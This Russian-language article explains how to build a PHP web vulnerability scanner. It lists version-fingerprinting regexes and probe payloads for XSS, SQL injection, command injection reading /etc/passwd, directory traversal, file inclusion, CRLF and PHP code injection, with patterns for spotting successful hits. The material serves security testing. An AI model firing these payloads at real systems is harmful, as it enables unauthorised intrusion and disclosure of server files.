Сколько мне приходилось сталкиваться со сканерами, мне все время было интересно
принцип их работы. Одно время я начал писать свой сканер безопасности на PHP, но из-за
не хватки времени пришлось все заморозить. В это статье я хочу рассказать то, что я
напрограммировал, только я буду приводит основные моменты, так как если приводить все
досконально то это будет не правильно (как мне сказали «если все объяснять по пальцам,
не чего хорошего не будет!» ).
Я считаю, что лучше искать уязвимости ручками!
Я буду приводить только регулярные выражения и запросы, а как это делается, можно
прочитать в любой книжке по программированию!
Определение Веб Сервера
Здесь я долго ломал голову, но как оказывается все гениальное все просто. В ответе сервера
в html-заголовке все содержится, с помощь регулярных выражений можно определить следующие
- Apache 1.3.27:
ищем
.*(Apache(-AdvancedExtranetServer)?/(1\.([0-2]\.[0-9].\s|3\.([0-9]\s|[0-1][0-9]\s|2[0-6]\s))))
- Apache 2.x 2.0.43:
ищем
.*(Apache(-AdvancedExtranetServer)?/2\.0\.([0-9]\s|[0-3][0-9]\s|4[0-2]\s))
Я не стал приводить полный список регулярных выражений, по двум причинам
1)
просто будет бесмыслено занимать место
2)
просто нечего сложного нет в регулярных выражения, кому понадобится тот сам сможет
написать, но на крайний случай, если надо будет выложу!
Определение версии PHP и mod_ssl
- PHP 4.3.0: ищем
.*(PHP/4\.3\.0\s)
- PHP 5: ищем
.*(PHP/5\.5\.0\s)
- Mod_SSL SSL_Util_UUEncode_Binary:
ищем
.*(mod_ssl/(1.*\s|2\.([0-7]\..*|8\.([0-9]\s|1[0-7]\s)))).*
- Mod_SSL Log Function:
ищем
.*(mod_ssl/(1.*\s|2\.([0-7]\..*|8\.([0-9]\s|1[0-8]\s)))).*
Ну вот все вроде про Веб сервер сказано!
CGI-TEST
Приведу только часть, так как их приличное количество!
- Директория справки Apache:
GET /manual/
- Выполнение команд Apache Win32:
GET /cgi-bin/test-cgi.bat?|dir
- Информация о сервере Apache:
GET /server-info
- Распределение расширения Frontpage:
POST method=open+service%3a3%2e0%2e2%2e1105&service%5fn ame=%2f
в ответе должно быть “FrontPage Server Extensions”
Вроде тут понятно как отправляются запросы и как проверить!
Вот теперь самое интересное:
1)
XSS
На атаче можно найти много информации то XSS, из-за этого я приведу только запросы:
<script>alert('xss -${random}')%3B</script>
'><script>alert('xss-${random}')%3B</script>
"><script>alert('xss-${random}')%3B</script>
><script>alert('xss-${random}')%3B</script>
</textarea><script>alert('xss-${random}')%3B</script>
<script>var%20xss=${random}%3Balert(xss_test)%3B </script>
><script>var%20xss_test =${random}%3Balert(xss_test)%3B</script>
</textarea><script>var%20xss_test =${random}%3Balert(xss_test)%3B</script>
--><script>alert('xss-${random}')%3B</script>
email@someemailaddress.com<script>alert('xss-${random}')%3B</script>
[script]alert('xss-${random}')%3B[/script]
%3Cimg%20src%3D%22javascript:alert%28%27xss-${random}%27%29%3B%22%3E
Вроде полный список!
И так, если все удачно вы может найти в тексте
tag=script;textwithin=alert('xss-${random}')\;
tag=script;textwithin=var xss_test=${random}\;alert(xss_test)\;
tag=img;src=javascript:alert('xss-${random}')\;
2)
SQL injection
То тем же причинам, что и в первом случай:
'
%27
%2527
"
%00'
'"
С помощью следую регулярных выражений можно найти SQL injection:
(?i)(Line\s\d+:\sIncorrect\ssyntax\snear\s'[^']*')
(?i)(pg_query\(\)[:]*\squery\sfailed:\serror:\s)
(?i)(Microsoft\sJScript\sruntime.*error\s'[^']*')
(?i)('[^']*'\sis\snull\sor\snot\san\sobject)
(?i)(ORA-\d{4,5}:\s)
(?i)(Microsoft\sJET\sDatabase\sEngine\s\([^\)]*\)<br>Syntax\serror
(.*)\sin\squery\sexpression\s'.*\.<br><b>.*,\sline \s\d+</b><br>)
(?i)(<h2>\s<i>Syntax\serror\s(\([^\)]*\))?(in\sstring)?\sin\squery\
sexpression\s'[^\.]*\.</i>\s</h2></span>)
(?i)(<font\sface=\"Arial\"\ssize=2>Syntax\serror\s (.*)?in\squery\sexpression\s'(.*)\.</font>)
Можно искать полный текст:
Microsoft OLE DB Provider for ODBC Drivers
Microsoft OLE DB Provider for SQL Server
You have an error in your SQL syntax
Invalid SQL:
): encountered SQLException [
3)
Code execution
Возможность выполнить произвольный код с привилегией сервера
POST или GET запросы
+%26cat%20+/etc/passwd%26
+%0acat%20+/etc/passwd%0a
%26dir%26
%7Cdir
%3Bdir
%26dir
Находим результаты:
(.*root:.*:0:[01]:.*)
или найти полную строку
Volume in drive
Volume Serial Number is
Directory of
4) Обход директорий
POST или GET запросы
../../../../../../../../etc/passwd
../../../../../../../../etc/passwd%00
%00../../../../../../../../etc/passwd
../../../../../../../../boot.ini
../../../../../../../../boot.ini%00
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c 0%af%c0%ae%c0%ae%c0%af%c0%ae%
c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0 %ae%c0%ae%c0%afboot.ini
Найти можно вот так
(.*root:.*:0:[01]:.*)
5)
File inclusion
Можно разделить на два вида это локальный и иклуид с другого сервера
-локальный /какой_нибудь_фаил_длиным_им енем
-внешний
http://xxx.com/ какой_нибудь_фаил_длиным_им енем
Тут можно проверить только на ошибку иклуида:
(?i)(<b>Fatal error</b>:.*: Failed opening required '.*some_inexistent_file_with_long_name.*').*
(?i)(<b>Warning</b>:.*: Failed opening '.*some_inexistent_file_with_long_name.*') for inclusion.*
6)
Раскрытие исходного кода сценария
Возможно читать исходный текст этого сценария, используя имя файла сценария как параметр.
Найти можно используя:
(<%)
(<\?php)
(^#\!\/.*\/perl)
7)
CRLF injection
Инъекция в заголовках через cookie
Запрос
some_url%0d%0aSet-Cookie%3Athis_header%3Dinjected_by
Ищется при помощи
(?i)\n(set-cookie\s*:\s*this_header\s*=\s*injected_by)
8) Cross Frame Scripting
Замена содержания фрейма
Запрос
http://www.xxx.com/
Найти можно
tag=iframe;src=http://www.xxx.com/
9)
PHP code injection
Выполнение произвольного PHP кода
Парметр:
printf(md5(test))%3Bexit%3B//
Находим:
63c19a6da79816b21429e5bb262daed8
10)
XPath injection
Получение XML документ, используя XPath запрос, в котором может содержаться информация из базы даных
Параметр:
'
Ищем:
(?i)(<b>\sException\sDetails:\s</b>System\.Xml\.XPath\.XPathException:
\s'.*'\shas\san\sinvalid\stoken\.<br><br>)
(?i)(<b>\sException\sDetails:\s</b>System\.Xml\.XPath\.XPathException:
\sThis\sis\san\sunclosed\sstring\.<br><br>)
Про детальное описание каждой уязвимости можно найти в Интернете!
Вот и все вроде, я не стали писать про как можно найти Backup файлы
и определенный файлы (известные файлы и папки например “admin” и т.д).
Если будет желание продолжить эту тему обязательно дополню!